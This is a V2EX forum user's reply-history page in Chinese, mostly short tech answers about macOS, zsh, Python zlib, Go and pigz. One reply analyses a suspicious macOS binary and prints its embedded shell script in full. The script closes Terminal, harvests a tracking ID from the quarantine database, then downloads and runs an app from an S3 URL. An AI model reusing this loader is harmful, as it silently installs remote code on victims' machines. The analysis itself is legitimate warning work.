V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
V2EX  ›  lcdtyph  ›  全部回复第 26 页 / 共 55 页
回复总数  1088
1 ... 22  23  24  25  26  27  28  29  30  31 ... 55  
❮ ❯
2020 年 11 月 11 日
回复了 Zhuzhuchenyan 创建的主题 › Apple › 有点激动 mac mini, macbook air, macbook pro 13
pro 的续航时间真的很诱人啊
2020 年 11 月 7 日
回复了 VHacker1989 创建的主题 › English › 关于英文单词 foo 到底是什么意思
placeholder,简单来说当你不知道取个什么名字,而且名字不重要的时候就可以用 foo,bar,foobar 来占位

就类似指代人名时候的张三、李四
dlopen
@Kingfish404 #8
```zsh -o SOURCE_TRACE```
~/.zprofile
~/.zshrc
这些呢
检查一下 /etc/paths.d/下的所有文件
2020 年 11 月 5 日
回复了 wingkou 创建的主题 › Python › zlib compress 后 decompress 得不到原来的内容( Python 3.8)
(de)compressobj()返回的对象是有状态的,主要用来处理流数据,在输入结束之后要调用 obj.flush() 来接收最后一段输出

如果是一次性压缩解压可以直接调用 zlib.compress 。如果一定要用(de)compressobj 可以这样:
cobj = zlib.compressobj()
dobj = zlib.decmpressobj()

data2 = cobj.compress(data1)
data2 += cobj.flush()

data3 = dobj.decompress(data2)
data3 += dobj.flush()
看了一眼,这个 binary 又执行了下面这个 shell 脚本:

```bash
temp_dir() { if [ -n "${TMPDIR}" ]; then echo "${TMPDIR}"; else getconf DARWIN_USER_TEMP_DIR; fi; }
where_from_url() { /usr/bin/sqlite3 "${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2" "SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1" 2> /dev/null; }
extract_did() {
local -r url="$(where_from_url)"
local query="${url#*\?}"
local did_find=0
for param in ${query//[=&]/ }; do
((did_find == 1)) && echo "${param}" && break
[ "${param}" == "utm_source" ] || [ "${param}" == "sidw" ] || [ "${param}" == "neo" ] && did_find=1
done
}
close_terminal() { killall "Terminal"; }
download() {
local -r url="${1}"
local -r tmp_dir="${2}"
local -r path="${tmp_dir}/$(uuidgen)"
if curl -f -s -o "${path}" "${url}"; then echo "${path}"; fi
}
unarchive() {
local -r tgz_path="${1}"
[ -z "${tgz_path}" ] && return
local -r app_dir=$(/usr/bin/mktemp -d "$(dirname "${tgz_path}")/$(uuidgen)")
if tar -xzf "${tgz_path}" -C "${app_dir}"; then echo "${app_dir}"; fi
rm -rf "${tgz_path}"
}
app_path() {
local -r app_dir="${1}"
[ -z "${app_dir}" ] && return
local -r app_paths=("${app_dir}"/?*.app)
local -r app_path="${app_paths[0]}"
[ -d "${app_path}" ] && echo "${app_path}"
}
bin_path() {
local -r app_path="${1}"
[ -z "${app_path}" ] && return
local -r binary_paths=("${app_path}/Contents/MacOS"/?*)
local -r binary_path="${binary_paths[0]}"
echo "${binary_path}"
}
exec_bin() {
local -r bin_path="${1}"
local -r did="${2}"
local -r app_path="${3}"
[ -z "${bin_path}" ] && return
"${bin_path}" -did "${did}"
}

main() {
local -r url="${1}"
close_terminal
local -r did="$(extract_did)"
[ -z "${did}" ] && return
local -r tmp_dir="$(/usr/bin/mktemp -d "$(temp_dir)$(uuidgen)")"
local -r arch_path="$(download "${url}" "${tmp_dir}")"
local -r app_dir="$(unarchive "${arch_path}")"
local -r app_path="$(app_path "${app_dir}")"
local -r bin_path="$(bin_path "${app_path}")"
exec_bin "${bin_path}" "${did}" "${app_path}"
rm -rf "${tmp_dir}"
}

main "https://ywdd6wfq.s3.amazonaws.com/Installer.app.tgz" &
```

会从 ywdd6wfq.s3.amazonaws.com/Installer.app.tgz 这个网址下载个真正的 binary 然后执行
2020 年 10 月 29 日
回复了 daozhihun 创建的主题 › Apple › macOS 11.0.1 开发者预览版的描述文件
sudo /System/Library/PrivateFrameworks/Seeding.framework/Versions/Current/Resources/seedutil enroll DeveloperSeed

不用切换描述文件也行
2020 年 10 月 29 日
回复了 leeraya 创建的主题 › Go 编程语言 › go 语言就很离谱
for index, name1 := range xxx {
index, name1 := index, name1
// the rest code...
}
typedef struct mystruct *mystruct_t;

mystruct_t mystruct_new(...);
void mystruct_destroy(mystruct_t);
....

这样头文件里不会暴露这个结构体的细节
2020 年 10 月 29 日
回复了 Pierson 创建的主题 › Apple › macOS 11.0.1 beta
11.0.1 matlab 还是没法用 plot 函数,这个 bug 从 11.0 beta 10 开始有的
2020 年 10 月 29 日
回复了 Livid 创建的主题 › Linux › pigz - Parallel Implementation of GZip
@yyfearth
没,虽然提供了--threads 选项,但是 manpages 里有一句"Multithreaded compression and decompression are not implemented yet,
so this option has no effect for now."
2020 年 10 月 29 日
回复了 Livid 创建的主题 › Linux › pigz - Parallel Implementation of GZip
一直在用,还有其他格式的几个
pixz 并行版的 xz
pbzip2 并行版的 bzip2

和 tar 联动的话可以这样
tar -Ipigz -xf xxx.tar.gz
2020 年 10 月 27 日
回复了 jimmyismagic 创建的主题 › 奇思妙想 › 为什么毕业论文都要写致谢?
因为真的有要感谢的人
2020 年 10 月 20 日
回复了 HvangStormstout 创建的主题 › 宽带症候群 › 一个关于微软 win10 与墙的问题
用了 fake-ip 模式吗?如果是的话需要把下面两条加入 fake-ip-filter
dns:
fake-ip-filter:
- 'dns.msftncsi.com'
- '+.msftconnecttest.com'
2020 年 10 月 19 日
回复了 inhd 创建的主题 › Apple › 329 元的 MagSafe 充电器才 5W
官网写的 15w
2020 年 10 月 19 日
回复了 hytcrab 创建的主题 › macOS › Big Sur 下 intellij idea 崩溃
https://www.v2ex.com/t/716345
可以看一下这个帖子
2020 年 10 月 19 日
回复了 perpetually2016 创建的主题 › iPhone › 12mini 续航介于 xs 和 xr 之间
xs 用户表示很满意
1 ... 22  23  24  25  26  27  28  29  30  31 ... 55  
❮ ❯
About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   3238 Online   Highest 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 45ms · UTC 12:20 · PVG 20:20 · LAX 05:20 · JFK 08:20
♥ Do have faith in what you're doing.